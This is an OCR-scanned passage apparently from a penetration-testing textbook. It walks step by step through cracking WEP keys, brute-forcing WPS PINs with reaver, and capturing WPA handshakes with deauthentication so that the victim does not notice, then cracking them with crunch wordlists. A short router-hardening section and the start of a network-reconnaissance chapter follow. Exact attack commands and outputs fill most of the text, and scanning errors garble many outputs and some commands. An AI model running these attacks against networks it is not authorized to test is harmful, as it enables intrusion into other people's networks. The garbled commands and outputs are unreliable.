reaches 5,000 IVs, and then tries again.

The number of IVs actually depends on the type of WEP encryption. There are two types of
WEP encryption: 128-bit and 64-bit. The only difference is the length of the key; obviously,
64-bit requires a lower number of IVs than 128-bit. Remember that when we

discussed aircrack, we indicated that the more packets we get without unique IVs, the
higher our chances of cracking the WEP key are.

Now, we basically wait until aircrack can successfully crack the WEP key. Once it
decrypts the key, we can press Ctrl + C. As we can see in the following screenshot,
aircrack has successfully managed to get the key within data packets; this is because the
target AP uses a 64-bit key:

Opening basic-t -ap-01.cap
Read 355742 pack

Encryption

1 54:B8:0A:9E:54:2D Test WEP (168250 IVs)

Choosing first network as target.

-ap-01.cap
will be tarted every 5000 captured ivs.
Starting PTW attack with 178996 ivs.
KEY FOUND! [ 31:31: ST E {ASCII: 11229 )
Decrypted correctly: 100%
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Let's look at how we can use this key to connect to the network. We are going to copy the
key and use the key too connect. We can then connect to the target network:

Test

Select Network

Turn Off

Wi-Fi Settings

As you can see, our connection has been established; we successfully recovered the WEP
key from the target network. We can go ahead and confirm by pinging Google:

e.com

[ : .160.196) 56(84) by of data.
byte "om bom -f4.1el00.net 7.160.196): icmp ttl=56
bytes from bom 6-in-f4.1lel@0.net (172. .168.196): icm 2 ttl=56
bytes from -in-f4.1lel00.net (17 7.160.196): icmp_ ttl=56
bytes from 6-in-T4. B0 . net | 7.160.196): icm 4 tt1=56
bytes from -in-f4.1el@@.net ( .160.196): icm tt1=56 i
bytes from bomé 6-in-f4.1el00.net ( .160.196) : =6 ttl=56 ti 6.77
bytes from bom@7s16-in-f4.1el@0.net ( 7.160.196): icmp 7 ttl=56 time=7.67 ms

7 packet ransmi 7 receive D% packe 0 time 6025ms
rtt min/avg/ de 6.773

Fake authentication attack

In the previous section, we saw how easy it is to crack a WEP key on a busy network. In a
busy network, the data increases very quickly. The problem is that we're now going to fake
as an AP that doesn't have any clients connected to it, or an AP that has a client connected
to it, but the client is not using the network as heavily as the client in the previous section
(perhaps the client is just reading articles or going on Facebook, not using as much data as
we saw last time).

Let's look at an example. We will run airodump against the target AP, Test, to take a look
at an idle AP. We now have Test, the same AP that we used before, but the difference is
that we've disconnected the device that was connected. As we can see, in the second area
(the client area), there are no clients connected. Also, we can see that the #Data is 0—it
didn't even go to 1.
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This will be the problem that we'll face—we want to be able to crack a key like this, with 0
data:

CH 11 ][ Elapsed: & s ][ 2018-87-17 13:05

PWR RXQ Beacons #Data, CH MB ENC CIPHER AUTH ESSID
100 50 0 ® 11 54e WEP WEP Tesk

STATION PWR Rate Lost Frames Probe

What we can do is inject packets into the traffic. When we inject packets into the traffic, we
can force the AP to create new packets with new IVs in them, then capture the IVs. But
before we can inject packets, we have to authenticate our device with the target AP. APs
have lists of all of the devices that are connected to them, and they ignore any packets that
come from a device that is not connected. If a device doesn't have the key and it tries to
send a packet to the router, the router will just ignore it; it won't even try to read it, or to see
what's inside. Before we can inject packets into a router, we have to authenticate ourselves
with the router. We're going to use a method called fake authentication; it's very simple.

We already executed airodump in the previous section. Let's see how we can use fake
authentication. In the previous screenshot, we can see that there is no value under AUTH.
Once we have done fake authentication, we will see an 0PN show up there, which will mean
that we have successfully falsely authenticated our device with the target AP. To do that,
we will use the following command:

aireplay—ng ——fakeauth 0 —a 54:B8:0A:9E:54:2D -h 2e:a0:66:4b:85:29 wlan0

With aireplay-ng, we're going to use a ——fakeauth attack; we include the type of attack
and the number of packets that we want to send, which is -—~fakeauth 0.

We are just going to put 0; some use a large number, when they're
carrying out an attack that will take 5 or 10 minutes, but for us, we will
just use 0, and maybe change it later.

We're going to use the —a option and the target MAC address (that is,
54:B8:0A:9E:54:2D). Then we're going to use ~h to include our MAC address, so that our
MAC address which gets authenticated with the target network. To get our MAC address,
we're going to run the i fconfig wlan0 command:
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= ifconfig wlan®
wlan@: 803<UP,BROADCAST, NOTRAILERS, PROMISC, ALLMULTI=> mtu 1500
2e: n 1eee (Ethernet)
pa A 10 (43.2 MiB)

errors © droppe overruns @ frame @
pack 2 3 408 (3.3 KiB)
X errors @ dropped 0 overruns 0 carrier @ collisions ©

The name of our Wi-Fi card is wlan0. With aireplay-ng, the type of attack that we're
trying to do, we're trying to perform a fake authentication attack, to authenticate our MAC
address so that we can inject packets into the target network. We're going to send 0 (which
means do it once), then -a (with the MAC address of the AP), then —~h (where we put the
MAC address of the device that we want to perform a fake authentication to), and then
wlan0, the name of the Wi-Fi card; now we hit Enter:

:~# alreplay-ng --fakeauth ©® -a 54:B8:0A:9E:54:2D -h 2e:a0:66:4b
:29 wlano
06 Waiting for beacon frame (BSSID: 54:B8:0A:9E:54:2D) on channel

Sending Authentication Request (Open System) [ACK]
entication succ

! ing Association [

Association successful :-) (AID: 1)

As you can see in the preceding screenshot, —a sent an authentication request, and it was
successful. The network became an open network, and our client (that is, my attacking
device) showed up as if it was a client connected to the network. We're not actually
connected, but we are authenticated with the network and have an association with it, so
that we can inject packets into the AP—it will now receive any request that we send to it.
Following is the output:

CH 11 ][ El : s 1[ 2018-07-17 1
PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
11 54e WEP WEP OPN Test

STATION PWR Rate LosT Frames Probe

ZE 66:4B:85:29 0 54 - 1 2] 36

In the next section, we will see how we can inject packets and how to make the data
increase very quickly.
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ARP request replay

The AP now accepts packets that we send to it, because it's not going to ignore us now that
we've successfully associated ourselves with it by using a fake authentication attack. We are
now ready to inject packets into the AP and make the data increase very quickly, in order to
decrypt the WEP key.

The first method of packet injection that we're going to talk about is ARP request replay. In
this method, we're going to wait for an ARP packet, capture the packet, and inject it into the
traffic. When we do this, the AP will be forced to create a new packet with a new IV; we'll
capture the new packet, inject it back into the traffic again, and force the AP to create
another packet with another IV. We will keep doing this until the amount of data is high
enough to crack the WEP key.

Let's do this in Kali Linux. The first thing we're going to do is launch airodump-ng with
the following command:

airodump-ng —--bssid 54:B8:0A:9E:54:2D —--channel 11 --write arp-request-
replt-test wlanO

We're going to add a ——write option to the command; let's call it arp-request-reply-
test. When it runs, we will see that the target network has 0 data, it has no clients
associated with it, and there is no traffic going through as no client is connected, which
means that it's not useful; we can't crack its key.

The first thing that we're going to do is fake authentication attack as shown in the Fake
authentication section, so that we can start injecting packets into the network, and it will
accept them.

That leads us to our next step, which is the ARP request reply step, where we will inject
packets into the target network, forcing it to create new packets with new IVs. The
command is going to be the following:

aireplay-ng —--arpreplay -b 54:B8:0A:9E:54:2D -h be:03:87:39:5e:5a wlanO

This is very similar to the previous command, but instead of —-fakeauth, we're going to
use ——arpreplay. We will also include -b, for BSSID. With this command, we are going to
wait for an ARP packet, capture it, and then reinject it out into the air. We can then see that
we've captured an ARP packet, injected it, captured another, injected it into the traffic, and
so on; the AP then creates new packets with new IVs, we receive them, we inject them
again, and this happens over and over:
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:~# alreplay-ng --arpreplay -b 54:B8:0A:9E:54:2D -h

wlan@

ARP 9 ACKs) - 260 pa
When the amount of Data reaches 9,000, or above we can launch aircrack-ng. When we

use aircrack-ng and the filename, sure enough, we can see the WEP key, and we are able
to crack it after 15012 IVs:

40(19712)

BEf:lS'?l'.-__ )
6C(18916) C2(18744)

KEY FOUND! : :32:32: {ASCII: 11225 )
Decrypted correctly: 1@

WPA introduction

In the upcoming parts of this chapter, we're going to discuss Wi-Fi Protected Access (WPA)
encryption. This encryption was designed after WEP, to address all of the issues that made
WEP very easy to crack. The main issue with WEP is the short IV, which is sent in each
packet as plain text. The short IV means that the possibility of having a unique IV in each
packet can be exhausted in active networks, so that when we are injecting packets (or in
natural, active networks), we will end up with more than one packet that has the same IV.
When it happens, aircrack-ng can use statistical attacks to determine the key stream and
the WEP key for the network.
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In WPA, however, each packet is encrypted using a unique, temporary key. It means that
the number of data packets that we collect is irrelevant; even if we are able to collect one
million packets, these packets are not useful, because they do not contain any information
that can help us crack the WPA key. WPA2 is the same; it works with the same method,
and it can be cracked using the same method. The only difference between WPA and WPA2
is that WPA2 uses an algorithm called Counter-Mode Cipher Block Chaining Message
Authentication Code Protocol (CCMP) for encryption.

WPS cracking

Cracking WPA or WPA2 encrypted networks isn't simple, especially since all of the packets
that are sent out are not useful for us, as they do not contain any information that can help
us to determine the WPA key. Before we get into cracking WPA and WPA2, we will look at
a feature called WPS; it allows users and clients to connect to the network by the push of a
button. On Windows 8, if you look on some Wi-Fi printers, they have a WPS button; if you
press the WPS button and go to your router and press the WPS button as well, or if you go
to the configuration page and press the WPS button, the client, printer, or Windows device
will connect to the network without having to enter the key. WPS is a feature that allows
clients to connect to a network easily, without having to enter the WPA key manually; it's
just a feature in routers.

This feature authenticates the client using an 8-digit PIN, it doesn't use the actual WPA key.
WPS only includes digits, there aren't too many possibilities for it. If we use a brute-force
attack, we are guaranteed to guess the PIN. If we successfully guess the PIN, we can use a
tool called reaver, which will calculate the WPA key from the PIN. We're going to brute-
force the PIN; because it's only 9 digits long, we will be successful. Once we do that, we can
calculate the WPA key using reaver.

To look for APs that have WPS enabled, we're going to use a tool called wash. We will use
the wash -i wlan0 command . We have our Test AP showing up in the following
screenshot—that's the AP that we're going to crack, it is actually running on WPA now, not
using WEP, like we saw previously:

:~# wash -i wlan®
Ch dBm

:0C:CF:CA:89 -66 No RalinkTe Sail

-
2:37:BF:05:61:F0 -74 2.0 No DIRECT-k5
2

54:B8:0A:9E:54:2D 11 -59 .0  No Realteks Test
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In order to check whether AP is actually using WPA encryption,
run airodump-ng wlano.

The preceding is the lists of APs that have WPS enabled. We can see Ch, dBm (which is the
distance between us and the AP), Wps shown the WPS version, and Lck shown whether its
locked. Now, some routers, when we try to brute-force the WPS PIN, lock after a few failed
attempts. If we try, for example, four wrong PINs, they're going to lock, and will not accept
any PINs for a certain amount of time. If Lck says Yes, we can't actually use the attack
anymore; we need to wait for a little bit, and then come back to the AP.

We will run reaver now, it is going to brute-force the WPS PIN, and, once it's able to find
the WPS PIN, it's going to work out the WPA key. The reaver supports pause and resume,
for example, if we reach, through brute-force, 30% of the possibilities, and then cancel the
attack, when we come back, we will start again from 30 not from 0.

Let's launch reaver; we're going to put -b to choose the BSSID, or the MAC address, of the
target AP, and then -c to choose the channel, which is 11, then, we can choose the Wi-Fi
card -i with monitor mode, and that's wlan0. The command is as follows:

reaver -b 54:B8:0A:9E:54:2D -c 11 -i wlanO

We hit Enter, and reaver will be associated with the target AP; it will try to determine the
WPS PIN. In the screenshot, we can see that we have an easy PIN, which is 12345670; from
that, reaver was able to calculate the WPA key, UAURWSXR:

ali:~# reaver -b 54:BB:0A:9E:54:2D-c 11 -1 wlane

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner =cheffner@tacnetsol.com=

[+] Waiting for beacon from 54: :9E:54:2D

[+] Associated with 54:B8:0A:9E: (ESSID: Test)
[+] WPS PIN: '12345670'

[+] wPA PsK: 'TIEGR'

[+] AP SSID: 'Test'

Now, we can just connect to the network; if we put in the key that we just found, we can
use the password, UAURWSXR, and connect it.
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Now, there are a few options for reaver. We launch reaver --help, and we can see all of
the options that we can use with reaver. As mentioned earlier, some routers will lock after
a few failed attempts; therefore, we can use some of these advanced options to get reaver
to work against these APs. For example, we can use the -—delay option to specify the
amount of time, in seconds, that reaver should wait between each brute-force attempt, or
each PIN attempt. We can also use the -——~1ock-delay to tell reaver to wait, for example,
60 seconds, if the AP gets locked, before continuing the brute-force attempt. We can use —-
fail-wait, as well, to set the time that reaver should wait after 10 failed attempts. Also,
we can use the —r option to tell reaver to sleep for a certain amount of seconds after a
certain number of tries. We can set up the --timeout option, we can play with these
options, the ——delay options, and the ——fail-wait if the AP was locking or was ignoring
some of our brute-force attempts.

Handshake theory

In the previous section, we saw how we can use the WPS feature in routers to crack the
WPA key. This process is guaranteed to work on every WPS-enabled network; therefore, if
your target uses WPA or WPA2 encryption and has WPS enabled, that should be the first
method you try to crack the password with. If WPS is not enabled, however, we have to
crack the actual WPA key. As we explained in the section on WPS cracking, in WPA, each
packet is encrypted using a unique, temporary key, it's not like WEP, where IVs are
repeated and we collect a large number of data packets with the same IVs. In each WPA
packet, there is a temporary unique IV, even if we collect one million packets, these packets
will not be useful for us—they do not contain any information that can help us determine
the actual WPA key.

The only packets that contain information that can help us determine the key are the
handshake packets. These are four packets, sent when a new device or a new client
connects to the target network. For example, when we are at home and our device connects
to the network, we have the password, and a process called a four-way handshake happens
between the device and the AP. In this process, four packets, called the handshake packets,
get transferred between the two devices, to authenticate the device connection. Using
aircrack-ng, we can use a wordlist, testing each password in the wordlist by using the
handshake. To crack WPA encrypted networks, we need two things: we need to capture the
handshake, and we need a wordlist that contains passwords.
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Capturing the handshake

To crack a WPA key, the first thing we're going to need to do is capture the handshake.
We're going to capture the handshake by using airodump-ng, the same way that we used
it with WEP-encrypted networks. We will use airodump-ng --bssid, the same way we
used it to run it against WEP networks; at the end of the day, we're only capturing packets
using airodump-ng, it's doing the same job. We will include the channel, and then we will
write to a file, calling the file test-handshake; we will also include the wireless card in
monitor mode. We use the same command we used when we were capturing packets for
WEP networks, airodump-ng --bssid. We put the target AP, ——channel; the target
channel, —-write; the name of the file that we're going to store stuff in; and wlan0, our Wi-
Fi card, with monitor mode. The command is as follows:

airodump—-ng —--bssid 54:B8:0A:9E:54:2D —--channel 11 --write test-handshake
wlanO

Once we launch this command, we will have our network, a WPA-encrypted network, we
will have a client connected to the network. To capture the handshake, we can just sit down
and wait for a device to connect to the network. Once a device connects to the network, we
can capture the handshake, or we can use something that we learned in the previous
chapter (Chapter 5, Pre-Connection Attacks), which is a deauthentication attack.

In a deauthentication attack, we disassociate, or disconnect, any device from a network that
is within our Wi-Fi range. If we do that for a very short period of time, we can disassociate
the device from the network for a second; the device will try to connect back to the network
automatically, and even the person using the device will not notice that his device is
disconnected and reconnected. We will then be able to capture the handshake packets.
Again, we said that the handshake gets sent every time a device connects to a target
network.

Now we're just going to run a basic authentication attack, using aireplay-ng. We studied
itin chapter 4, Network Penetration Testing, and, in this section we put a very large number
of packets when we were disconnecting our target. Now we are only going to put a small
number: four deauthentication packets. Then, we're going to put ~a, the MAC address of
the target AP, and -c, to specify the client MAC address (the MAC address of the client that
we want to disconnect). Then we are going to put the Wi-Fi card name, which is wlan0. We
use aireplay-ng --deauth, the name of the attack, and 4 authentication packets to the
AP, and disconnect the device from it. The command is as follows:

aireplay—ng ——deauth 4 —a 54:B8:0A:9E:54:2D —-c B8:76:3F:F8:F5:CD wlanO
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As you can see in the following screenshot, we captured the WPA handshake, and our
target device didn't even change, nor was it disconnected:

Lol e 0 R O = =T 1T e TO R QB E: ROV AN AR EER RN NP A handshake: 54:B8:0A:9E:54:2D

BSSID PWR RX0Q Beacons #Data, #/s CH MB ENC CIPHER AUTH E
54:B8:0A:9E:54:2D -58 100 329 . 7 11 54e WPA TKIP PSK T
BSSID STATION PWR Rate Lost Frames Probe

54:B8:0A:9E:54:2D B8:76:3F:F8:F5:CD -35 54e-54e 749

We didn't get any messages about being disconnected, because we were disconnected for a
very short period of time; as a result, even the person using the device didn't notice, and we
were able to capture the handshake. Now we can use a wordlist and run it against the
handshake to try to determine the main WPA key.

Creating a wordlist

Now that we've captured the handshake, all we need to do is crack the WPA key by
creating a wordlist. A wordlist is just a list of words that aircrack-ng is going to go
through, trying each one against the handshake until it successfully determines the WPA
key. The better your wordlist is, the higher your chances of cracking the WPA key will be. If
the password isn't in your wordlist file, you will not be able to determine the WPA key.

We're going to use a tool called crunch. It's basically just a script; we specify the characters
that we want in the passwords, and it creates all possible combinations of these passwords.
The format of the command for using crunch is crunch [min] [max].The [min] is the
minimum number of characters of the password that we want to create, we can say that we
want a minimum of four, five, six, and so on. The [max] is the maximum number of
characters in the password. We can specify the characters that we want to use in the
passwords, so that we can specify abcdefg, all of the lower letters, and then we can write
the capital letters; we can put numbers and symbols.
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The -t option is very useful if we know part of the password; it's a pattern. For example, if
we are trying to guess a password and we have seen someone typing the password, we
know that it starts with an a and ends with a b, we can use the pattern option and tell
crunch to create passwords that always start with a and end with b, and it will put all
possible combinations of the characters that we put in the command.

Suppose that we're going to create passwords of a minimum of six characters and a
maximum of eight characters, and the passwords are going to be combinations of the
characters 1, 2, 3, 4, 5, and 6, and symbols. It's going to be stored in a file called wordlist,
and the pattern is wordlist file passwords are always going to start with an a, and they're
always going to end with a b. All of the passwords that we're going to see in the file are
going to start with a and end with b, and they'll have all of the possible combinations of the
characters that we specified between the a and the b.

Let's just run crunch and create a sample wordlist. We're going to use crunch, and then
we're going to make a minimum of 4 and a maximum of 6. We're just going to put 123ab,
and store it in sample-wordlist. The crunch is going to create a combination of
passwords (a minimum of four characters, a maximum of six characters), and it's going to
create all possible combinations of 123ab. It's going to store the combinations in a file called
sample-wordlist. The command will be as follows:

crunch 4 6 123ab -o sample-wordlist
Following is the output of the preceding;:

:~# crunch 4 6 123ab -o sample-wordlist
Crunch will now generate the feollowing amount of data: 131250 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 19375

crunch: 100% completed generating output
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We can read by running cat sample-wordlist, and we can see all of the passwords that
are stored in the file as shown in the following screenshot:

:~# cat sample-wordlist

aLakalil
alalilzs
1113
111a
111b
15152418
Lz
1123
112a
112b
1130
Lz
1133
113a
113b
11al
11az
11a3
1laa
1lab
11b1
11b2
11b3

We can see all of the passwords that crunch created for us. The bigger the password that
we put and the more characters that we include, the more passwords we can make, and the
more space they're going to take up.

Let's take a look at the pattern option. We'll go to crunch, using a minimum of 5 and a
maximum of 5, so all passwords will be five characters long, and then we will put the
characters, which are 123ab (like before), and we will add the -t option, which is the
pattern option. Then, we will say that the password starts with an a and ends with a b, and
we want all possible combinations of the characters between a and b. Then, we're going to
specify the output file —o; let's call it pat tern-wordlist. Following is the command:

crunch 5 5 123ab -t a@@@b —-o pattern-wordlist
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The output will be as follows:

:~# crunch 5 5 123ab -t @b -o pattern-wordlist
Crunch will now generate the following amount of data: 750 bytes
2 MB
0 GB
0 TB

0 PB
Crunch will now generate the following number of lines: 125

crunch: 100% completed generating output

It creates 125 passwords; let's take a look at them. As we can see in the following
screenshot, they always start with an a and always end with a b:

:~# cat pattern-wordlist
alllb
allzb
all3b
allab
allbb
alzlb
al22b
alz3b
al2ab
alzbb
al3lb
al3zb
al33b
al3ab
al3bb
alalb
alazb
ala3b
alaab
alabb
alblb
albzb

We can use crunch to create your wordlist, and in the next section, we're going to use the
wordlist and the handshake file to determine the actual WPA key.
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Wordlist cracking

Now that we've captured the handshake from our target AP and we have a wordlist ready
to use, we can use aircrack-ng to crack the key for the target AP. The aircrack-ngis
going to go through the wordlist file, combine each password with the name of our target
AP, and create a Pairwise Master Key (PMK). The PMK is created by using an algorithm
called the PBKDEF2, it's not like just combining the password and the BSSID; it's encrypting
them in a certain way, and it compares the PMK to the handshake. If the PMK was valid,
then the password that was used is the password for the target AP; if it wasn't valid, then
aircrack-ng tries the next password.

We use aircrack—ng, the name of the file that contains the handshake, test -
handshake-01.cap, and -w and the name of the wordlist, wordlist. The command is as
follows:

aircrack-ng test-handshake-0l.cap -w wordlist

Now we are going to hit Enter, and aircrack-ng is going to go through the list; it will try
all of the passwords, and will combine each password with the name of the target AP to
create a PMK, then compare the PMK to the handshake. If the PMK is valid, then the
password that was used to create the PMK is the password for the target AP; if the PMK is
not valid, then it's just going to try the next password.

As we can see, in the following screenshot, the key was found:

Aircrack-ng 1.2

Master Key

Iransient Key

CAPOL HMAC : 25 7D AC 08 9D 6D 9D AC 85 4D 6A 1C D8 FD 41 99

It is the most basic way of using a wordlist: it took 42 seconds to crack the password. The
speed depends on how quick the processor is, and whether we have any processes running
that are making our computer a bit slower.
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Securing network from attacks

In order to prevent our network from preceding cracking methods explained throughout
the chapter, we'll need to access the settings page for your router. Each router has a web
page where user can modify the settings for the router, and it's usually at the IP of the
router. First we're going get the IP of my computer or my device, and we are going to

run ifconfig wlan0 command; as seen in the following screenshot, the highlighted part
is the IP of the computer:

Now open the browser, and navigate to 192.168.0. 1; for this example, the IP of the
computer is 25. Usually, the IP of the router is the first IP of the subnet. At the moment,

it's 192.168.0.0, and we are just going to add the number 1, because that's the first IP in
the subnet, and that will take us to the router settings page. At the settings page, it'll asking
to enter a username and a password. Routers come with a pre-specified username and
password—we can check what the default username and password are; it's highly
recommended to change them afterwards. It's usually written in the manual, so check the
manual, see what the default username and password are, and then log in using those
credentials.

Now, in some cases, the attacker might be doing a deauthentication attack against us, so the
attacker might be preventing us from connecting to our network wirelessly. What we can
do is connect to the router using an Ethernet cable; when we do that, the attacker cannot
use a deauthentication attack to deauthenticate or disconnect us, and we will be able to
access the router settings using the wire. We can modify our security settings and change
the encryption, change the password, and do all of the things that are recommended in
order to increase the security, so that the attacker will not be able to attack the network and
get the key.
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Now, the settings of each router are different; they depend on the manufacturer, and even
the model of the router. But usually, the way that we change the settings is the same; in 90%
of the cases, the router is always at the first IP of the subnet, all we have to do is get your IP
using the ifconfig command, like we did at the start of this topic. We got the
192.168.0.25IP, and then we changed the last 25 to the number 1 to the first IP, and that
is the IP of our router.

Now, we are going to navigate to the WIRELESS settings. As we see, there are a lot of
settings that we can change for our network, and we're concerned with
the WIRELESS settings at the moment:

@ admin Language:  English j Log out

upc

STATUS BASIC ADVANCED |WIRELESS| SYSTEM

4 GHZ WIRELESS

lasic Wireless Settinc
Security Basic reless Setting

Adv e T
rdvanced his page allows you fo configure the basic wireless seffing

Access Control

Basic Settings of 24GHz AP

Enable Enabled W
5 GHZ J
. SSID UPCD460916 Hide
Radio
802.11 Mode Mixed (802.11b,802.11g and 802.11n) :J
Channel Auto (Current Ch, 1) j
Bandwidth 20MHz =
Power 100% |

As we can see in the preceding screenshot, the wireless setting is Enabled, we can even
change the name of the network under SSID; we can change the Channel and
the Bandwidth, as well.
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After going to the Security option, we can see in the following screenshot, we are using
WPA encryption with WPA/WPA2 authentication, and the encryption uses AES+TKIP:

CED WIRELESS

2.4 CHZ WIRELESS

Radlo

Security

Advanced

Accass Control

WPS
5 GHZ
Authentication
Radio
Encryption
ey Inlerval
Passpluase

Ratype Pasephraze

Access Control Settings

Wireless Securny Mode  WHEA-Fersonal

WPAMPAZ

AES«THIP

HHUCPTEM

HHUCPTEM

admin Language:  English

T T

(seconds)

3 > reqou

If we go on WPS, we can see that WPS is Disabled; we are not using WEP, so that
attackers cannot use any of the attacks to crack WEP encryptions:

WIRELESS

24 GHZ WIRELESS
Radio
Security WPS
Advancad

Access Control

wWrs
= - PN
5 GHZ
PeC
Radio

This page allows you 10 configure e W

Disabled

agmin Language:  Enghsn

PIN START

PBC START

j Lag out
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We are using WPA, which is much more secure, and we have disabled WPS, so that attacks
cannot use reaver to determine the WPS PIN and then reverse-engineer the password. The
only way that the hacker can access or get the password is by obtaining the handshake first,
and then using a wordlist to find the password. The password is very random, even though
it doesn't actually use numbers or digits, just letters; but it's very random, so there are very
small chance of someone being able to guess it.

Now, there is also the Access Control; using this, we can add policies, such as an allow
policy or a deny policy:

g admin Language;  English - Log out

upe

STATUS  BASIC  ADVANCED WIRELESS SYSTEM

4 GHZ WIRELESS

Radio

Security ACCESS Lontrol

Adv -1

Advanced This page allows you o configure access contro

Access Control
Access Control Settings

WPS
Mone b
5 GHZ Policy J
Radio
MAC Address Delete
Add row
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We can specify MAC addresses that we want to allow to connect to our network; we can
also specify MAC addresses that we want to deny from our network. For example, if there
are not many people or many visitors coming to your house, or if you are in a company
with a specified number of computers and only want to allow a number of computers to
connect to the network, you can obtain their MAC addresses (for the people that you want
to allow) and add them onto an Allow List. Even if someone has the actual key, and they
don't exist in the whitelist or in the Allow List, they will not be able to access the network.
We can also add a Deny List when we want to deny a certain computer or a certain person
that we think is suspicious; we can just add their MAC address onto the Deny List, and
they will not be able to connect to your network:

his page allows you b infigure access
Access Control Settings

Policy Deny List | j

MAC Address Delete

Add row

The router settings page usually looks different for different routers; the names for options
might be different, but the main point is that we should be able to access the router settings
using the subnet IP and adding the number 1, which is the first IP, at the end. If you are
being attacked and can't connect to your network at all, then just use a cable and modify the
settings, like we discussed.
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Summary

This chapter we studied how easy it is to crack WEP-encrypted networks, even if there are
no devices connect to the target network, and even if the network is idle. We also saw a
number of methods to inject packets into the traffic and cause the amount of data to
increase very rapidly, in order to crack the WEP key in a very short period of time.

Then we studied all of the weaknesses that can be used by hackers in order to breach WEP,
WPA, and WPA2 encrypted networks. Then we saw how hackers can use weaknesses to
crack passwords and get keys for networks. Later we how as attackers are we will be able
to deauthenticate, or disconnect, any device from any network, without the need to know
the key.

Towards the end of the chapter we discussed how we can modify the settings of our own
routers, so that we can increase the encryption and the security of the network, preventing
hackers from using attacks and getting passwords.

In the next chapter we will be learning about information gathering and also use various
tools that will give us refined information via various scans and reports they generate.
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In all the attacks that we performed in the previous chapters, we weren't connected to a
network. In this chapter, however, we are going to look at attacks that we can perform
when we break through the network. Firstly, we are going to learn about all the important
information we can gather when we enter a network that will help us to launch attacks; we
will be using a netdiscover tool for this purpose. We will also learn about a tool that

is similar to netdiscover—namely, AutoScan. This has a better interface and is more
powerful than netdiscover. We will learn about yet another tool called Zenmap, which
works in a similar fashion to the way AutoScan and netdiscover explore all the clients that
are connected to a system.

In this chapter, we will cover the following topic:

e Post-connection attacks

Post-connection attacks

Everything we've done so far has not involved us connecting to a network. In this section,
we're going to be talking about post-connection attacks—in other words, attacks that

we can do after connecting to a network. Now, it doesn't matter if this network is a wireless
or a wired network, and it doesn't matter how we managed to connect to it. We're going to
forget all about what we did so far, and we're just going to assume that we have a
connection to the network. We could have just connected physically using a wire to the
router or to the server, we could have managed to crack the key, if the target was using a
WEP or WPA key, or perhaps the network was a wireless network that wasn't using any
encryption, and we just connected to it. It doesn't matter how we gained our connection; if
we have gained access to a network, then we can launch all of the attacks that we're going
to talk about in this section.
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One important thing to note first, though, is that in all of the previous attacks we kept our
wireless card in monitor mode, so that we could capture any packet that goes in the air. In
this section, we're going to be using our wireless cards in managed mode, as we only want
to capture packets that are directed to us, because we have access to the network and so we
don't really need to capture everything. Another thing to bear in mind is that, if we are
testing in our lab and we want to test these attacks without using a number of wireless
cards, we should go to the VirtualBox settings of the Kali machine, go to

Setting | Network, and make sure that it's using the NAT Network, and that it's on the
same subdomain (NatNetwork, in our example) as the other virtual machines, as shown in
the following screenshot:

|| o

Mew [Settings] Discard  Show

(2™ Metasploitable @ 5 65 @ \g
@ Powered Off
Take Delete | Restore | Properties | Clone

f i €23 Kali-Linux - Settings 5=
=] T :
8 Hortonworks Sand...
PN () Povered OFF @ General Network
MSEdge - Winl0 Systemn Adapter 1 | Adapter 2 I Adapter 3 I adapter ¢
i) o> Runining

Display Enable Metwork Adapter

Attached to: |MAT Mebwark, =
@ Storage ached bo ebwat]
MNarmne: [NatNetwork -
Audi
ip Hate B Advanced

Y Network
£ Serial Ports
& us

(il Shared Folders
] userirterface

[ [a]4 ][ Cancel ]

We can use the et h0 card interface in our attacks from the Kali machine; it's going to be a
virtual interface, but it's just going to work as a normal interface. Alternatively, we can use
your wireless card—just connect from our Kali, connect to our target network, and then we
will be able to test the security of any device that is in our network.
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So, we can connect our virtual machine, or our Windows virtual machine, to the same
network, or we can just test any other device that we have, be it our phone, an old laptop,
or any other device.

The netdiscover tool

The first thing we're going to talk about in this section is gathering information. Gathering
information about the connected clients and the router is very important because it will
help us know what their I’ and MAC addresses are and the operating system that they're
running, as well as the ports that they have open in their devices. As for the router, we'll be
able to know the manufacturer of the router, and then we'll be able to look for exploits and
vulnerabilities that we can use against the router or against the clients if we are trying to
hack them.

In chapter 4, Network Penetration Testing, we saw how we can use airodump—-ng to
discover connected clients. In the second part of the airodump-ng output, we learned how
we could see the associated clients and their MAC addresses. That was about it—that's
everything we can get before we connect to the target access point. Now, after connecting,
we can gather much more detailed information about these devices. There are a lot of
programs for this task, but we're going to talk about three programs, starting with the
simplest and quickest one—netdiscover.

As we have said before, netdiscover is the quickest and the simplest program to use, but it
doesn't show very detailed information about the target clients. It'll only show us their IP
address, their MAC address, and sometimes the hardware manufacturer. We're going to
use it by typing netdiscover, and then we're going to enter -i and specify our wireless
device, which is et h0. Then we're going to enter the range, which can be any range we
want. Looking at the IP (which is 10.0.2. 1) tells us which network we are in. We want to
discover all the clients that are in this network, so we're going to try and see if there is a
devicein 10.0.2.1. Then we're going to try 12, 13, 14, 15, 16, up to 254—that's the end of
the range. So, to specify a whole range, we can write /24. That means we want 10.0.2.1,
and then this IP is just going to increase up to 10.0.2.254, which is the end of the IP range
in the network. The command for this is as follows:

-i eth0 -r 10.0.2.1/24
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We are going to hit Enter. It will return the output really fast, producing the result shown in
the following screenshot:

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

ostname

1
1
1
1

As we said, it's the quickest way, and we can see in the preceding screenshot that we have
four devices connected to the network. We have their MAC Addresses and we have

the MAC Vendor. That's about it. The method was very quick, and it just shows simple
information.

The AutoScan tool

AutoScan is another program that can be used to discover computers or clients connected
to the same network. It's not as fast as netdiscover, but it has a graphical interface, so it's
easier to use, and it actually displays more detailed information about the discovered
clients. Let's go to the Kali machine and download the Linux version of AutoScan

from nttps://sourceforge.net/projects/autoscan/files/AutoScan/autoscan—
network%201.42/autoscan-network-1.42-Linux-x86-Install.tar.gz/download. The
problem with the latest version (version 1.5) is that it has a bug, so it doesn't work very
well. So, what we are going to do is download an older version, which is 1.42. If we go

to Files | Downloads, we will see the file. Let's extract that file by right-clicking on it and
clicking on Extract Here from the drop-down menu. This will bring up the installer.

We will run this installer in the Terminal, but before we do that, there is a library that
AutoScan uses that we need to install. This library is only available to computers that have
a 32-bit architecture, and consequently 32-bit processors, so we need to add that
architecture first and then install the library. The first command we're going to enter is for
adding 32-bit compatibility to our 64-bit computer. If your computer is already 32-bit, then
you don't need to run the command, but if it's a 64- bit computer, then you need to run the
